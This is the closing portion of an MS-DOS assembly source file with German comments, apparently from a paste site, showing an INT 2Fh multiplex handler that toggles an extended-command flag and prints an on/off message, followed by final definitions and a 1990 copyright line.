- CMP AL,0 ;
- JNZ Int_2F_2nd ;
- CALL Decode_2F ;
- JNZ Int_2F_end ;
- DEC AL ;
- IRET ;
- Int_2F_2nd: CMP AL,1 ;
- JNZ Int_2F_end ;
- CALL Decode_2F ;
- JNZ Int_2F_end ;
- SAVE DS,DX,AX ;
- MOV_S DS,CS ;
- XOR [ISR_Flags],MASK ExtCom ;
- MOV DX,OFFSET MSG_ON ;
- TEST [ISR_Flags],MASK ExtCom ;
- JZ XI_069 ;
- MOV DX,OFFSET MSG_OFF ;
- XI_069: MOV AH,9 ;
- MSDOS ;
- REST AX,DX,DS ;
- AND BYTE PTR [SI],0 ;
- IRET ;
- Int_2F_end: JMP DWORD PTR CS:[Org_Int_2F] ;
- comment #
- ?
- berpr fen, ob der in CMD_2F definierte Befehl angesprochen wurde.
- # ;
- Decode_2F PROC NEAR ;
- SAVE SI,DI,ES,CX ;
- MOV CX,05 ;
- MOV_S ES,CS ;
- MOV DI,OFFSET Cmd_2F ;
- CLD ;
- REPE CMPSW ;
- REST CX,ES,DI,SI ;
- RET ;
- Decode_2F ENDP ;
- ;
- ENDIF ;
- comment #
- ?
- Okay, das war's. Zum Schlu noch einige Definitionen.
- # ;
- EOFC EQU THIS WORD ;
- XR_010 EQU OFFSET EOFC - 1 + FIRSTBASE ;
- TEXT ENDS ;
- IF2 ;----------------;
- %Out
- %Out (C) 1990 164A12565AA18213165556D3125C4B962712 ?
- ENDIF ;
- END
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement